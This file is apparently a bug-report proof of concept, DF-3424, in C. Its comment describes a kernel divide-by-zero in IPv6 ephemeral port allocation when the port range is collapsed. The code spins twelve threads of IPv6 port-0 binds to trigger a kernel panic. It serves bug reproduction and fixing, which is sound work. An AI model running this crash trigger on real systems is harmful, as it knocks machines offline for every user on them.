DF-3424 / df3424_bind6.c
/* * DF-3424 - in6_pcbsetlport() divide-by-zero on degenerate ephemeral * port range (DF-0334's unfiled IPv6 twin). * * sys/netinet6/in6_src.c:473-476: * in_pcbportrange(&last, &first, portinfo->offset, step); * lport = last - first; <-- 0 when range collapses * count = lport / step; <-- 0/step == 0, ok * lport = rounddown(cut % lport, step) + first; <-- cut % 0 => #DE * * Root sets net.inet.ip.portrange.first == last == V with * V % netisr-ncpus == 0 (in_pcbportrange then yields last == first). * Any AF_INET6 ephemeral port allocation (bind port 0) that executes on * the CPU whose portinfo->offset == 0 divides by zero and panics. * * No privilege needed for the trigger itself (the sysctl is the root * misconfiguration; after that ANY local user's IPv6 traffic panics). */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdio.h> #include <pthread.h> static void * spinner(void *arg) { struct sockaddr_in6 sin6; for (;;) { int s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) continue; memset(&sin6, 0, sizeof(sin6)); sin6.sin6_family = AF_INET6; sin6.sin6_port = 0; /* ephemeral => in6_pcbsetlport */ sin6.sin6_addr = in6addr_any; if (bind(s, (struct sockaddr *)&sin6, sizeof(sin6)) == 0) ; /* ofs!=0 cpus bind, uneventful */ close(s); } return NULL; } int main(void) { pthread_t th[12]; int i; for (i = 0; i < 12; i++) pthread_create(&th[i], NULL, spinner, NULL); printf("spinning AF_INET6 ephemeral binds; CPU with ofs==0 => div0\n"); fflush(stdout); for (i = 0; i < 12; i++) pthread_join(th[i], NULL); return 0; } |